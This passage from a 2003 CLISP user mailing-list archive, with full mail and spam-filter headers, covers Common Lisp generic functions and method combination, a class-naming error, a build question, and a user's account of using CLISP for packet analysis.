it then proceed to recompile all *.lisp and re-dump lispinit.mem? > > No, but I'll try "make -d" and see what's happening anyway [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 13:24:17 2003 X-Original-Date: 29 Aug 2003 16:23:22 -0400 > * In message <200308292004.h7TK4h8q023819@van-halen.alma.com> > * On the subject of "Re: [clisp-list] modules update" > * Sent on Fri, 29 Aug 2003 16:04:43 -0400 > * Honorable "John K. Hinsdale" writes: > > > does it then proceed to recompile all *.lisp and re-dump lispinit.mem? > > No, but I'll try "make -d" and see what's happening anyway I got you - it re-links full/lisp.run, not base/lisp.run! I think it has always been like this. -- Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From pascal@informatimago.com Fri Aug 29 15:24:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19srfn-0007WA-00 for ; Fri, 29 Aug 2003 15:24:51 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19srfl-0006iX-5m for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 15:24:50 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 14ACEB65E3; Sat, 30 Aug 2003 00:24:31 +0200 (CEST) Message-ID: <16207.53918.745293.406042@thalassa.informatimago.com> To: amit phalgune Cc: clisp Subject: Re: [clisp-list] defgenric In-Reply-To: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune writes: > Hi David, > Thanks for the reply. Do you mean that I change the progn to > call-next-method. > There is just one defmethod with progn in the source I have. > But I still have a doubt. I have basically not understood what the > defgeneric code is doing. > It all seems to be related to classes and instances and the methods > associated with it.. > But I am extremely unclear and confused abt it. I tried to look on the net > for the related documents.. but since I am not aware of OO lisp, or for > that matter even normal LISP ( i have just begun coding in LISP).. [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 15:25:07 2003 X-Original-Date: Sat, 30 Aug 2003 00:24:30 +0200 amit phalgune writes: > Hi David, > Thanks for the reply. Do you mean that I change the progn to > call-next-method. > There is just one defmethod with progn in the source I have. > But I still have a doubt. I have basically not understood what the > defgeneric code is doing. > It all seems to be related to classes and instances and the methods > associated with it.. > But I am extremely unclear and confused abt it. I tried to look on the = net > for the related documents.. but since I am not aware of OO lisp, or for > that matter even normal LISP ( i have just begun coding in LISP)..=20 One essential resource for Common-Lisp programmers is obviously: The Common-Lisp HyerSpec at: http://www.lisp.org/ http://www.lisp.org/HyperSpec/FrontMatter/Chapter-Index.html There is a chapter on Objects: http://www.lisp.org/HyperSpec/Body/chap-7.html See also: http://www.cliki.org/ for links. > I am not able to understand what that code is supposed to do and why > and what happens if we replace progn with (call-next-method) >=20 > I will be extremely grateful if you can kindly explain it to me... defgeneric just defines an interface to a generic operation. Once defined, the system will know that any function call with this function name should be dispatched depending on the type of the arguments, selecting a method. Introduction to Generic Functions: http://www.lisp.org/HyperSpec/Body/sec_7-6-1.html Since there may be multiple inheritance of objects, several method may apply for on generic call. The question is then in what order to call the various methods. In other object oriented languages, usually only the most specific method is invoked (but with multiple inheritance, there may be no most specific method). So defgeneric allow you to specify a default order for the method invocation, and you can do it when defining each method too. http://www.lisp.org/HyperSpec/Body/sec_7-6-6.html > > > (defgeneric destroy (a) (:method-combination progn)) Since you're implementation does not know the progn method combination, you may choose another order yourself. Check the various destroy methods you have and determine in which order they must be run. If they have to be run from the most specific first to the less specific last, it's :before. Otherwise, it's :after. If the order is more complicated (unlikely since it was specified progn), you would use :arround, and in each method, you could specify when to call the less specific method with (call-next-method). So, removing (:method-combination progn) from the defgeneric, and adding :before to the defmethod destroy,=20 could be the solution: (defgeneric destroy (a)) (defmethod destroy :before ((a class-1) #| ... |# ) (defmethod destroy :before ((a class-2) #| ... |# ) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From svref@yahoo.com Fri Aug 29 16:31:33 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ssiL-0000yd-00 for ; Fri, 29 Aug 2003 16:31:33 -0700 Received: from dsl093-230-014.lou1.dsl.speakeasy.net ([66.93.230.14] helo=ork.bomberlan.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ssiK-0003fY-He for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 16:31:32 -0700 Received: from localhost ([127.0.0.1] helo=yahoo.com) by ork.bomberlan.net with esmtp (Exim 3.35 #1 (Debian)) id 19ssi2-0004T5-00; Fri, 29 Aug 2003 19:31:14 -0400 Message-ID: <3F4FE242.5000303@yahoo.com> From: David Morse User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: pjb@informatimago.com CC: amit phalgune , clisp Subject: Re: [clisp-list] defgenric References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> <16207.53918.745293.406042@thalassa.informatimago.com> In-Reply-To: <16207.53918.745293.406042@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: 0.2/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Pascal J.Bourguignon wrote: > (defgeneric destroy (a)) > (defmethod destroy :before ((a class-1) #| ... |# ) > (defmethod destroy :before ((a class-2) #| ... |# ) > Hey, yah, using :before is better than my idea of embedding (call-next-method). You have to ensure that there's at least one applicable main method though: [...] Content analysis details: (0.20 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution FORGED_YAHOO_RCVD (2.3 points) 'From' yahoo.com does not match 'Received' headers REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 16:32:05 2003 X-Original-Date: Fri, 29 Aug 2003 19:31:14 -0400 Pascal J.Bourguignon wrote: > (defgeneric destroy (a)) > (defmethod destroy :before ((a class-1) #| ... |# ) > (defmethod destroy :before ((a class-2) #| ... |# ) > Hey, yah, using :before is better than my idea of embedding (call-next-method). You have to ensure that there's at least one applicable main method though: (defmethod destroy ((whatever t)) ;; do nothing ) The downside of the :before approach is that it doesn't correctly simulate the return value, but given the name of the function is DESTROY, I doubt your callers care. From phalgune@jasper03.CS.ORST.EDU Fri Aug 29 22:11:32 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19sy1M-0003mK-00 for ; Fri, 29 Aug 2003 22:11:32 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19sy1L-0002My-WD for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 22:11:32 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7U5BDaD027529; Fri, 29 Aug 2003 22:11:13 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7U5B83f008722; Fri, 29 Aug 2003 22:11:08 -0700 (PDT) From: amit phalgune To: David Morse cc: pjb@informatimago.com, clisp In-Reply-To: <3F4FE242.5000303@yahoo.com> Message-ID: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> <16207.53918.745293.406042@thalassa.informatimago.com> <3F4FE242.5000303@yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Does anyone know what causes this error. I have a defclass on RGNCRGNODE (defclass RgnCRGNode (CRGNode Rect)()) now when I try to call a defmethod, e.g : (defmethod XYZ ((abc RgnCRGNode)) I get the following error.. [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] find-class error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 22:12:04 2003 X-Original-Date: Fri, 29 Aug 2003 22:11:07 -0700 (PDT) Does anyone know what causes this error. I have a defclass on RGNCRGNODE (defclass RgnCRGNode (CRGNode Rect)()) now when I try to call a defmethod, e.g : (defmethod XYZ ((abc RgnCRGNode)) I get the following error.. *** - FIND-CLASS: RGNCRGNODE does not name a class Can anyone guide me.. Amit From phalgune@jasper03.CS.ORST.EDU Fri Aug 29 22:13:21 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19sy37-0003qc-00 for ; Fri, 29 Aug 2003 22:13:21 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19sy36-0002ox-Kr for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 22:13:20 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7U5D3aD027657; Fri, 29 Aug 2003 22:13:03 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7U5D1u7008726; Fri, 29 Aug 2003 22:13:02 -0700 (PDT) From: amit phalgune To: David Morse cc: pjb@informatimago.com, clisp Subject: Re: [clisp-list] defgenric In-Reply-To: <3F4FE242.5000303@yahoo.com> Message-ID: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> <16207.53918.745293.406042@thalassa.informatimago.com> <3F4FE242.5000303@yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi guys, Thanks a lot for the help and the detailed replies. I was finally able to take care of the problem with you help.. Thanks for helping a newbie.. Really appreciate it .. Let the help keep coming . Amit [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 22:14:03 2003 X-Original-Date: Fri, 29 Aug 2003 22:13:01 -0700 (PDT) Hi guys, Thanks a lot for the help and the detailed replies. I was finally able to take care of the problem with you help.. Thanks for helping a newbie.. Really appreciate it .. Let the help keep coming . Amit From pascal@informatimago.com Fri Aug 29 22:25:25 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19syEn-0004sv-00 for ; Fri, 29 Aug 2003 22:25:25 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19syEi-0007Uz-WB for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 22:25:21 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 0CFCBB629D; Sat, 30 Aug 2003 07:25:04 +0200 (CEST) Message-ID: <16208.13616.703619.987165@thalassa.informatimago.com> To: amit phalgune Cc: clisp Subject: [clisp-list] find-class error In-Reply-To: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> <16207.53918.745293.406042@thalassa.informatimago.com> <3F4FE242.5000303@yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune writes: > > Does anyone know what causes this error. I have a defclass on RGNCRGNODE > (defclass RgnCRGNode (CRGNode Rect)()) > now when I try to call a defmethod, > e.g : > (defmethod XYZ ((abc RgnCRGNode)) > I get the following error.. > > *** - FIND-CLASS: RGNCRGNODE does not name a class > > Can anyone guide me.. > Amit [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 22:26:02 2003 X-Original-Date: Sat, 30 Aug 2003 07:25:04 +0200 amit phalgune writes: >=20 > Does anyone know what causes this error. I have a defclass on RGNCRGNOD= E > (defclass RgnCRGNode (CRGNode Rect)()) > now when I try to call a defmethod, > e.g : > (defmethod XYZ ((abc RgnCRGNode)) > I get the following error.. >=20 > *** - FIND-CLASS: RGNCRGNODE does not name a class >=20 > Can anyone guide me.. > Amit As you may have noticied, names following capitalizing conventions are not well fit to the lisp way of life. You should rather use names such as: rgn-crg-node. With (defmethod xyz ((abc rgncrgnode)) ... ) you are not calling the method, you are defining it. Calling the method would be, thru sending a message: (xyz a-rgncrgnode-instance). Otherwise, you gave too little information to receive helpful feedback. (defclass rect () ()) (defclass crg-node () ()) (defclass rgn-crg-node (crg-node rect) ()) (defmethod xyz((abc rgn-crg-node))) works perfectly well: [107]> (defclass rect () ()) (defclass rect () ()) # [108]> (defclass crg-node () ()) # [109]> (defclass rgn-crg-node (crg-node rect) ()) # [110]> (defmethod xyz((abc rgn-crg-node))) #)> [111]> (xyz (make-instance 'rgn-crg-node)) NIL [112]>=20 --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From fc@all.net Sat Aug 30 07:59:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19t7CW-0006cO-00 for ; Sat, 30 Aug 2003 07:59:40 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19t7CV-00005b-Np for clisp-list@lists.sourceforge.net; Sat, 30 Aug 2003 07:59:39 -0700 Received: from all.net (red [204.7.229.16]) by all.net (8.11.6/8.11.2) with ESMTP id h7UEx6r30158 for ; Sat, 30 Aug 2003 07:59:07 -0700 Message-ID: <3F50BBB5.D6CF6796@all.net> From: fc@all.net Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: When we were trying to figure out how to implement the next generation of packet analysis and response mechanisms, we chose Clisp as our platform because it afforded us several major advantagtes over any other solution. [...] Content analysis details: (0.70 points, 5 required) NO_REAL_NAME (0.8 points) From: does not include a real name X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header USER_AGENT_MOZILLA_XM (0.0 points) X-Mailer header indicates a non-spam MUA (Netscape) Subject: [clisp-list] We are using Clisp for real-time programmable packet analysis and response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 30 08:00:02 2003 X-Original-Date: Sat, 30 Aug 2003 07:59:01 -0700 When we were trying to figure out how to implement the next generation of packet analysis and response mechanisms, we chose Clisp as our platform because it afforded us several major advantagtes over any other solution. 1) Flexibility We were building a platform for several products and as such we needed to be certain that our investment in the platform would pay off many times over. To assure this we needed to make certain that no matter what we ultimately wanted to do, we could do it and that it would be able to run on whatever platforms we had to use it on. Clisp offers this. 2) Programmability and Development Speed We build systems that are extremely field programmable. Our goal is that these systems will have GUIs for simple configuration, but that in the end we need the ability for the person in control to do anything they need to do. We we built a 3-teired system. The GUIs allows people to do the simple things that most products allow them to do. The GUI generates output in a language that is similar to router table languages. This language allows you to put lisp statements at various points in the code that it generates. That code is then turned into lisp functions that are compiled and run as the applicaiton, or can be compiled into lisp functions and altered for really strange cases. In other words, the GUI generates code that generates code, and that code is compiled and executed. The person using these functions can intercept the process at any point. In many cases, the ones we encounter every day, the GUI does the job. In other cases where creating a GUI is too expensive to justify the special case, we use the intermediate language and add a few lines of lisp to the control language and as much code as we need in loadable lisp programs. So far we have never had to intervene at the level of modifying our intermediate compiler output. This makes development of new custom and semicustom applications very cost effective and quick, but it also provides an added benefit that you just don't get anywhere else. A reasonably skilled programmer with only a limited understanding of lisp can build situation-dependent code that does things no competitor can get close to and do it in the field. 3) Operational performance Of course none of this would be worth anything in our packet sniffing and analysis platform if we couldn't get excellent performance. And that's where lisp surprises most folks, but not us. The compiled lisp code gives us almost the same performance as C code in most cases, but in some cases, the lisp beats the C code hands down. For example, we are using the RegEx and Lexer lisp code that produces string search and analysis faster than C libraries to allow us to detect patterns within packets and change the function of the platform with respec to those data streams as they flow past or through our systems. For a field programmable device, this gives unprecendented flexibility at wire speeds. I have used lisp on and off since I was a teenager using an IBM 360, and even though I have gone away from it from time to time, and it isn't ideal for evrything, there are still things that lisp does that cannot be touched by any other programming language. I am not religious about languages, I am just a pragmatic person who uses the best alternative I can find. And in this case, as in many others, Lisp is it. FC -- -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From amoroso@mclink.it Sat Aug 30 11:55:07 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19tAsN-0005A1-00 for ; Sat, 30 Aug 2003 11:55:07 -0700 Received: from mail4.mclink.it ([195.110.128.78]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19tAsM-0003sw-EK for clisp-list@lists.sourceforge.net; Sat, 30 Aug 2003 11:55:06 -0700 Received: from net145-105.mclink.it (net145-105.mclink.it [195.110.145.105]) by mail4.mclink.it (8.12.6p2/8.12.3) with ESMTP id h7UIssRK024511 for ; Sat, 30 Aug 2003 20:54:54 +0200 (CEST) (envelope-from amoroso@mclink.it) Received: (qmail 972 invoked by uid 1000); 30 Aug 2003 18:16:28 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] We are using Clisp for real-time programmable packet analysis and response References: <3F50BBB5.D6CF6796@all.net> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: <3F50BBB5.D6CF6796@all.net> (fc@all.net's message of "Sat, 30 Aug 2003 07:59:01 -0700") Message-ID: <87smnjm2o3.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -3.0 (---) X-Spam-Report: -3.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Fred Cohen writes: > When we were trying to figure out how to implement the next generation > of > packet analysis and response mechanisms, we chose Clisp as our platform > because it afforded us several major advantagtes over any other > solution. [...] Content analysis details: (-3.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 30 11:56:02 2003 X-Original-Date: Sat, 30 Aug 2003 20:16:28 +0200 Fred Cohen writes: > When we were trying to figure out how to implement the next generation > of > packet analysis and response mechanisms, we chose Clisp as our platform > because it afforded us several major advantagtes over any other > solution. Cool. Can you please add an entry to the industry applications and/or success stories page at ALU CLiki? http://alu.cliki.net Paolo -- Paolo Amoroso From lisp-clisp-list@m.gmane.org Sun Aug 31 14:59:58 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19taEo-0003dm-00 for ; Sun, 31 Aug 2003 14:59:58 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19taEn-0003Bl-Ig for clisp-list@lists.sourceforge.net; Sun, 31 Aug 2003 14:59:57 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19taFN-0008Og-00 for ; Mon, 01 Sep 2003 00:00:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19taFM-0008OY-00 for ; Mon, 01 Sep 2003 00:00:32 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19taEk-0002qm-00 for ; Sun, 31 Aug 2003 23:59:54 +0200 From: Johannes Groedem Lines: 9 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (berkeley-unix) Cancel-Lock: sha1:EV1LsBRHMIK//t2MlhaCee0FRaI= X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, I'm curious if there is something I can do (e.g. a build-option or whatever) to get CLISP to give me names of required arguments to functions. Key-arguments and optional arguments of compiled functions are named, but required arguments show up as arg0, arg1, etc. [...] Content analysis details: (-0.50 points, 5 required) USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] Arglists. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 31 15:00:04 2003 X-Original-Date: Sun, 31 Aug 2003 23:59:54 +0200 Hi, I'm curious if there is something I can do (e.g. a build-option or whatever) to get CLISP to give me names of required arguments to functions. Key-arguments and optional arguments of compiled functions are named, but required arguments show up as arg0, arg1, etc. -- Johannes Groedem From lisp-clisp-list@m.gmane.org Sun Aug 31 16:40:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with 